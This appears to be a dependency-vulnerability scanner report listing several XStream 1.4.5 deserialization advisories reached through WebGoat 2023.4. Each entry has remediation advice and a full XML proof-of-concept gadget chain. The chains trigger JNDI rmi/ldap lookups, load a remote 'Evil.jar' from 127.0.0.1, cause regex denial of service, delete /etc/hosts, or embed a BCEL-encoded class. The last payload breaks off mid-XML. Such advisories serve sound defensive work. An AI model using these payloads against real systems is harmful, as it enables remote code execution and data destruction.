- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. There is a vulnerability which may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream.

PoC

```
<java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
              <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
                <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
                  <packet>
                    <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
                      <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                        <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                          <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                            <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                              <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
                              <uriProperties/>
                              <attributeProperties/>
                              <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                                <getter>
                                  <class>com.sun.rowset.JdbcRowSetImpl</class>
                                  <name>getDatabaseMetaData</name>
                                  <parameter-types/>
                                </getter>
                              </inheritedAttWildcard>
                            </bi>
                            <tagName/>
                            <context>
                              <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                                <outer-class reference='../..'/>
                              </marshallerPool>
                              <nameList>
                                <nsUriCannotBeDefaulted>
                                  <boolean>true</boolean>
                                </nsUriCannotBeDefaulted>
                                <namespaceURIs>
                                  <string>1</string>
                                </namespaceURIs>
                                <localNames>
                                  <string>UTF-8</string>
                                </localNames>
                              </nameList>
                            </context>
                          </bridge>
                        </bridge>
                        <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                          <javax.sql.rowset.BaseRowSet>
                            <default>
                              <concurrency>1008</concurrency>
                              <escapeProcessing>true</escapeProcessing>
                              <fetchDir>1000</fetchDir>
                              <fetchSize>0</fetchSize>
                              <isolation>2</isolation>
                              <maxFieldSize>0</maxFieldSize>
                              <maxRows>0</maxRows>
                              <queryTimeout>0</queryTimeout>
                              <readOnly>true</readOnly>
                              <rowSetType>1004</rowSetType>
                              <showDeleted>false</showDeleted>
                              <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
                              <params/>
                            </default>
                          </javax.sql.rowset.BaseRowSet>
                          <com.sun.rowset.JdbcRowSetImpl>
                            <default>
                              <iMatchColumns>
                                <int>-1</int>
                                <int>-1</int>
                                <int>-1</int>
                                <int>-1</int>
                                <int>-1</int>
                                <int>-1</int>
```

```
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                      </iMatchColumns>
                      <strMatchColumns>
                        <string>foo</string>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                      </strMatchColumns>
                    </default>
                  </com.sun.rowset.JdbcRowSetImpl>
                </jaxbObject>
              </dataSource>
            </message>
            <satellites/>
            <invocationProperties/>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
```

Users who follow the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types are not affected.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like *Remote Method Invocation (RMI)*, *Java Management Extension (JMX)*, *Java Messaging System (JMS)*, *Action Message Format (AMF)*, *Java Server Faces (JSF) ViewState*, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

> Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.16 or higher.

References

- XStream Advisory
- XStream Changelog
- XStream Workaround

More about this vulnerability

MEDIUM SEVERITY

Deserialization of Untrusted Data

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. There is a vulnerability which may allow a remote attacker to occupy a thread that consumes maximum CPU time and will never return. An attacker can manipulate the processed input stream and replace or inject objects, that result in executed evaluation of a malicious regular expression, causing a denial of service.

PoC

```
<java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
              <comparator class='javafx.collections.ObservableList$1'/>
            </default>
            <int>3</int>
            <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
              <dataHandler>
                <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                  <contentType>text/plain</contentType>
                  <is class='java.io.SequenceInputStream'>
                    <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                      <iterator class='java.util.Scanner'>
                        <buf class='java.nio.HeapCharBuffer'>
                          <mark>-1</mark>
                          <position>0</position>
                          <limit>0</limit>
                          <capacity>1024</capacity>
                          <address>0</address>
                          <hb></hb>
                          <offset>0</offset>
                          <isReadOnly>false</isReadOnly>
                        </buf>
                        <position>0</position>
                        <matcher>
                          <parentPattern>
                            <pattern>¥p{javaWhitespace}+</pattern>
                            <flags>0</flags>
                          </parentPattern>
                          <from>0</from>
                          <to>0</to>
                          <lookbehindTo>0</lookbehindTo>
                          <text class='java.nio.HeapCharBuffer' reference='../../buf'/>
                          <acceptMode>0</acceptMode>
                          <first>-1</first>
                          <last>0</last>
                          <oldLast>-1</oldLast>
                          <lastAppendPosition>0</lastAppendPosition>
                          <locals/>
                          <hitEnd>false</hitEnd>
                          <requireEnd>false</requireEnd>
                          <transparentBounds>true</transparentBounds>
                          <anchoringBounds>false</anchoringBounds>
                        </matcher>
                        <delimPattern>
                          <pattern>(x+)*y</pattern>
                          <flags>0</flags>
                        </delimPattern>
                        <hasNextPosition>0</hasNextPosition>
                        <source class='java.io.StringReader'>
                          <lock class='java.io.StringReader' reference='..'/>
                          <str>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx</str>
                          <length>32</length>
                          <next>0</next>
                          <mark>0</mark>
                        </source>
                      </iterator>
                      <type>KEYS</type>
                    </e>
                    <in class='java.io.ByteArrayInputStream'>
                      <buf></buf>
                      <pos>0</pos>
                      <mark>0</mark>
                      <count>0</count>
                    </in>
                  </is>
                  <consumed>false</consumed>
                </dataSource>
                <transferFlavors/>
              </dataHandler>
              <dataLen>0</dataLen>
            </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
            <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>
```

Users who follow the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types are not affected.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like *Remote Method Invocation (RMI)*, *Java Management Extension (JMX)*, *Java Messaging System (JMS)*, *Action Message Format (AMF)*, *Java Server Faces (JSF) ViewState*, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

> Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the

readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.16 or higher.

References

- XStream Advisory
- XStream Changelog
- XStream Workaround

More about this vulnerability

MEDIUM SEVERITY

Deserialization of Untrusted Data

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. There is a vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream.

PoC

```
<sorted-set>
          <javax.naming.ldap.Rdn_-RdnEntry>
            <type>ysomap</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
              <m__DTMXRTreeFrag>
                <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
                  <m__size>-10086</m__size>
                  <m__mgrDefault>
                    <__overrideDefaultParser>false</__overrideDefaultParser>
                    <m__incremental>false</m__incremental>
                    <m__source__location>false</m__source__location>
                    <m__dtms>
                      <null/>
                    </m__dtms>
                    <m__defaultHandler/>
                  </m__mgrDefault>
                  <m__shouldStripWS>false</m__shouldStripWS>
                  <m__indexing>false</m__indexing>
                  <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
                    <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                      <javax.sql.rowset.BaseRowSet>
                        <default>
                          <concurrency>1008</concurrency>
                          <escapeProcessing>true</escapeProcessing>
                          <fetchDir>1000</fetchDir>
                          <fetchSize>0</fetchSize>
                          <isolation>2</isolation>
                          <maxFieldSize>0</maxFieldSize>
                          <maxRows>0</maxRows>
                          <queryTimeout>0</queryTimeout>
                          <readOnly>true</readOnly>
                          <rowSetType>1004</rowSetType>
                          <showDeleted>false</showDeleted>
                          <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
                          <listeners/>
                          <params/>
                        </default>
                      </javax.sql.rowset.BaseRowSet>
                      <com.sun.rowset.JdbcRowSetImpl>
                        <default/>
                      </com.sun.rowset.JdbcRowSetImpl>
                    </fPullParserConfig>
                    <fConfigSetInput>
                      <class>com.sun.rowset.JdbcRowSetImpl</class>
                      <name>setAutoCommit</name>
                      <parameter-types>
                        <class>boolean</class>
                      </parameter-types>
                    </fConfigSetInput>
                    <fConfigParse reference='../fConfigSetInput'/>
                    <fParseInProgress>false</fParseInProgress>
                  </m__incrementalSAXSource>
                  <m__walker>
                    <nextIsRaw>false</nextIsRaw>
                  </m__walker>
                  <m__endDocumentOccured>false</m__endDocumentOccured>
                  <m__idAttributes/>
                  <m__textPendingStart>-1</m__textPendingStart>
                  <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
                  <m__pastFirstElement>false</m__pastFirstElement>
```

```
          </m__dtm>
          <m__dtmIdentity>1</m__dtmIdentity>
        </m__DTMXRTreeFrag>
        <m__dtmRoot>1</m__dtmRoot>
        <m__allowRelease>false</m__allowRelease>
      </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
    <javax.naming.ldap.Rdn_-RdnEntry>
      <type>ysomap</type>
      <value class='com.sun.org.apache.xpath.internal.objects.XString'>
        <m__obj class='string'>test</m__obj>
      </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
  </sorted-set>
```

Users who follow the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types are not affected.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like *Remote Method Invocation (RMI)*, *Java Management Extension (JMX)*, *Java Messaging System (JMS)*, *Action Message Format (AMF)*, *Java Server Faces (JSF) ViewState*, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

> Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.16 or higher.

References

- XStream Advisory
- XStream Changelog
- XStream Workaround
- Nuclei Templates

More about this vulnerability

MEDIUM SEVERITY

Deserialization of Untrusted Data

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. There is a vulnerability which may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream.

PoC

```
<java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
              <comparator class='javafx.collections.ObservableList$1'/>
            </default>
            <int>3</int>
            <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
              <dataHandler>
                <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                  <contentType>text/plain</contentType>
                  <is class='java.io.SequenceInputStream'>
                    <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                      <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
                        <names class='java.util.AbstractList$Itr'>
                          <cursor>0</cursor>
```

```
  <lastRet>-1</lastRet>
  <expectedModCount>0</expectedModCount>
  <outer-class class='java.util.Arrays$ArrayList'>
    <a class='string-array'>
      <string>Evil</string>
    </a>
  </outer-class>
</names>
<processorCL class='java.net.URLClassLoader'>
  <ucp class='sun.misc.URLClassPath'>
    <urls serialization='custom'>
      <unserializable-parents/>
      <vector>
        <default>
          <capacityIncrement>0</capacityIncrement>
          <elementCount>1</elementCount>
          <elementData>
            <url>http://127.0.0.1:80/Evil.jar</url>
          </elementData>
        </default>
      </vector>
    </urls>
    <path>
      <url>http://127.0.0.1:80/Evil.jar</url>
    </path>
    <loaders/>
    <lmap/>
  </ucp>
  <package2certs class='concurrent-hash-map'/>
  <classes/>
  <defaultDomain>
    <classloader class='java.net.URLClassLoader' reference='../..'/>
    <principals/>
    <hasAllPerm>false</hasAllPerm>
    <staticPermissions>false</staticPermissions>
    <key>
      <outer-class reference='../..'/>
    </key>
  </defaultDomain>
  <initialized>true</initialized>
  <pdcache/>
</processorCL>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>-2147483648</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
```

Users who follow the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types are not affected.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like *Remote Method Invocation (RMI)*, *Java Management Extension (JMX)*, *Java Messaging System (JMS)*, *Action Message Format (AMF)*, *Java Server Faces (JSF) ViewState*, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

> Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.16 or higher.

References

- XStream Advisory
- XStream Changelog
- XStream Workaround

More about this vulnerability

MEDIUM SEVERITY

Deserialization of Untrusted Data

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. There is a vulnerability where the processed stream at unmarshalling time contains type information to recreate the formerly written objects. An attacker can manipulate the processed input stream and replace or inject objects, that result in the deletion of a file on the local host.

PoC

```
<java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
              <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
                <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
  <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
    <packet>
      <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
        <dataSource class='com.sun.xml.internal.ws.encoding.MIMEPartStreamingDataHandler$StreamingDataSource'>
          <part>
            <dataHead>
              <tail/>
              <head>
                <data class='com.sun.xml.internal.org.jvnet.mimepull.MemoryData'>
                  <len>3</len>
                  <data>AQID</data>
                </data>
              </head>
            </dataHead>
            <contentTransferEncoding>base64</contentTransferEncoding>
            <msg>
              <it class='java.util.ArrayList$Itr'>
                <cursor>0</cursor>
                <lastRet>1</lastRet>
                <expectedModCount>4</expectedModCount>
                  <outer-class>
                    <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
                    <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
                    <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
                    <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
                  </outer-class>
              </it>
              <in class='java.io.FileInputStream'>
                <fd/>
                <channel class='sun.nio.ch.FileChannelImpl'>
                  <closeLock/>
                  <open>true</open>
                  <threads>
                    <used>-1</used>
                  </threads>
                  <parent class='sun.plugin2.ipc.unix.DomainSocketNamedPipe'>
                    <sockClient>
                      <fileName>/etc/hosts</fileName>
                      <unlinkFile>true</unlinkFile>
                    </sockClient>
                    <connectionSync/>
                  </parent>
                </channel>
                <closeLock/>
              </in>
            </msg>
          </part>
        </dataSource>
      </message>
      <satellites/>
      <invocationProperties/>
    </packet>
  </indexMap>
</comparator>
              </default>
              <int>3</int>
              <string>javax.xml.ws.binding.attachments.inbound</string>
              <string>javax.xml.ws.binding.attachments.inbound</string>
            </java.util.PriorityQueue>
          </java.util.PriorityQueue>
```

Users who follow the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types are not affected.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like *Remote Method Invocation (RMI)*, *Java Management Extension (JMX)*, *Java Messaging System (JMS)*, *Action Message Format (AMF)*, *Java Server Faces (JSF) ViewState*, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

> Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.16 or higher.

References

- XStream Advisory
- XStream Changelog
- XStream Workaround

More about this vulnerability

MEDIUM SEVERITY

Deserialization of Untrusted Data

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. There is a vulnerability which may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream.

PoC

```
<sorted-set>
          <javax.naming.ldap.Rdn_-RdnEntry>
            <type>ysomap</type>
            <value class='javax.swing.MultiUIDefaults' serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                <default>
                  <loadFactor>0.75</loadFactor>
                  <threshold>525</threshold>
                </default>
                <int>700</int>
                <int>0</int>
              </hashtable>
              <javax.swing.UIDefaults>
                <default>
                  <defaultLocale>zh_CN</defaultLocale>
                  <resourceCache/>
                </default>
              </javax.swing.UIDefaults>
              <javax.swing.MultiUIDefaults>
                <default>
                  <tables>
                    <javax.swing.UIDefaults serialization='custom'>
                      <unserializable-parents/>
                      <hashtable>
                        <default>
                          <loadFactor>0.75</loadFactor>
                          <threshold>525</threshold>
                        </default>
                        <int>700</int>
                        <int>1</int>
                        <sun.swing.SwingLazyValue>
                          <className>javax.naming.InitialContext</className>
                          <methodName>doLookup</methodName>
                          <args>
                            <arg>ldap://localhost:1099/CallRemoteMethod</arg>
                          </args>
                        </sun.swing.SwingLazyValue>
                      </hashtable>
                      <javax.swing.UIDefaults>
                        <default>
                          <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
                          <resourceCache/>
                        </default>
                      </javax.swing.UIDefaults>
```

```
            </javax.swing.UIDefaults>
          </tables>
        </default>
      </javax.swing.MultiUIDefaults>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
```

Users who follow the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types are not affected.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like *Remote Method Invocation (RMI)*, *Java Management Extension (JMX)*, *Java Messaging System (JMS)*, *Action Message Format (AMF)*, *Java Server Faces (JSF) ViewState*, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

> Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.16 or higher.

References

- XStream Advisory
- XStream Changelog
- XStream Workaround

More about this vulnerability

MEDIUM SEVERITY

Deserialization of Untrusted Data

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. There is a vulnerability which may allow a remote attacker to execute arbitrary code only by manipulating the processed input stream.

PoC

```
<java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
              <comparator class='javafx.collections.ObservableList$1'/>
            </default>
            <int>3</int>
            <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
              <dataHandler>
                <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                  <contentType>text/plain</contentType>
                  <is class='java.io.SequenceInputStream'>
                    <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                      <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
                        <names class='java.util.AbstractList$Itr'>
                          <cursor>0</cursor>
                          <lastRet>-1</lastRet>
                          <expectedModCount>0</expectedModCount>
```

```
  <outer-class class='java.util.Arrays$ArrayList'>
    <a class='string-array'>
      <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$ddN$c2O$Y$3d$85$c9$60$O$e5G$fcW$fOJOQn$bc$c3$Y$T$83$89$c9$oF$M$5e$97$d9$60$c9X$c9$d6$R$5e$cb$h5$5e$f8$A$3e$94$f1$x$g$q
    </a>
  </outer-class>
</names>
<processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
  <parent class='sun.misc.Launcher$ExtClassLoader'>
  </parent>
  <package2certs class='hashtable'/>
  <classes defined-in='java.lang.ClassLoader'/>
  <defaultDomain>
    <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
    <principals/>
